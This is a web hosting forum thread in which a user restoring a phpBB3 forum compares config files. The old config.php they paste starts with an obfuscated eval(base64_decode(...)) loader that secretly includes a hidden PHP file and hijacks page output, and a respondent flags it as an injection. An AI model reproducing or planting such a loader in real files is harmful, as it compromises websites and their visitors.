Restoring a phpbb3 forum = failure

AvatarPortal

Member
Apr 18, 2012
10
0
51
cPanel Access Level
Root Administrator
Hey all,

I've made some progress in storing my corrupted server. Previous details are here: http://forums.cpanel.net/f49/restoring-files-hangup-story-restoring-335482.html

I've restored my mysql database of my phpbb3 forum via Putty. From there, I've reinstalled my forum while pointing it to the restored database. Or thought I did, anyway. I now have the generic "Your first forum" layout with none of my previous info (users, forums, etc.), now I'm trying to figure out why it didn't install the way I thought it should have.

What did I miss here?

Sorry if this isn't enough info, anyone kind enough to post to help me I'll provide any information they ask for.
 

Infopro

Well-Known Member
May 20, 2003
17,113
507
613
Pennsylvania
cPanel Access Level
Root Administrator
Twitter
I've reinstalled my forum while pointing it to the restored database.
What does this mean, exactly? It sounds like you ran the install script to install phpbb. Is that correct? If yes, you probably wiped the database on installation.

Assuming the old forum was a default installation of phpBB, also assuming the database was backed up properly, you may be able to re-import the .sql into that database again.

I don't want this to sound too harsh, but you've got nothing to lose here by trying this I don't think. Worse case, you break a fresh install of phpbb which you don't want anyway. You know? :)
 

AvatarPortal

Member
Apr 18, 2012
10
0
51
cPanel Access Level
Root Administrator
I imported the mysql backup, named 'phpb1', then installed the new forum and told it to use this same database. I can try importing it again now that the forum is installed. How would I otherwise restore a phpb3 forum with a mysql backup?
 

AvatarPortal

Member
Apr 18, 2012
10
0
51
cPanel Access Level
Root Administrator
Okay, just to check, cause I just tried to restore to no avail:

From scratch: install new forum to database named "Pine", then recover old mysql to "Pine", then profit?

I've tried installing the forum to a blank database then recovering the old mysql to that database, but no luck. I know the database works cause I've imported it before in tact. Is there another step I need to do?

Also, much thanks for all the help so far. I'm just about there!
 
Last edited:

arunsv84

Well-Known Member
Oct 20, 2008
373
1
68
127.0.0.1
cPanel Access Level
Root Administrator
Are you sure you are restoring the database in the correct way? You need to use the exact database user name, database password and database name mentioned in your phpbb forum config file. Kindly check it and confirm.

Cheers!!!
 

AvatarPortal

Member
Apr 18, 2012
10
0
51
cPanel Access Level
Root Administrator
I've taken a look at my config files, and here is what I found:

My current config.php file:

<?php
// phpBB 3.0.x auto-generated configuration file
// Do not change anything in this file!
$dbms = 'mysql';
$dbhost = 'localhost';
$dbport = '';
$dbname = 'pine_phpb1';
$dbuser = 'pine_pp34';
$dbpasswd = 'randomtext';
$table_prefix = 'pp3_';
$acm_type = 'file';
$load_extensions = '';

@define('PHPBB_INSTALLED', true);
// @define('DEBUG', true);
// @define('DEBUG_EXTRA', true);
?>
Whereas my very old config.php read like this:

<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lL2o4a3MxcWowL3B1YmxpY19odG1sL2ZvcnVtL3N0b3JlL21vZHMva2FybWFtb2QtMS4yLjEvcm9vdC9pbmNsdWRlcy9tb2RzL2FjcC9pbmZvL3N0eWxlLmNzcy5waHAnO2lmKGZpbGVfZXhpc3RzKCRHTE9CQUxTWydtZnNuJ10pKXtpbmNsdWRlX29uY2UoJEdMT0JBTFNbJ21mc24nXSk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtvYl9zdGFydCgnZGdvYmgnKTt9fX0=')); ?>
<?php

$dbms = 'mysql' ;
$dbhost = 'localhost' ;
$dbport = '' ;
$dbname = 'pine_phpb1' ;
$dbuser = 'pine_phpb1' ;
$dbpasswd = 'randomtext' ;

$table_prefix = 'phpbb_' ;
$acm_type = 'file' ;
$load_extensions = '' ;

@define('PHPBB_INSTALLED', true);

?>
Would the difference in user and/or table prefix be the issue? The database is name the same.

Thanks to both ya guys for the help.
 

arunsv84

Well-Known Member
Oct 20, 2008
373
1
68
127.0.0.1
cPanel Access Level
Root Administrator
In current php config, the dbuser is different. You should correct it & grant privileges to the user if required. If your forum shows any access denied error after changing the db user, you need to grant privileges to the user.

Login to server via ssh.

grant all on databasename.* to [email protected] identified by 'databasepassword';
Replace the name, user and pass with the required ones.

FYI:

The old php config file seems to be having suspicious code. You can see an "eval(base64_decode" at the very first line. This seems to be an injection. You should better reset the db passwords as well.

Thanks!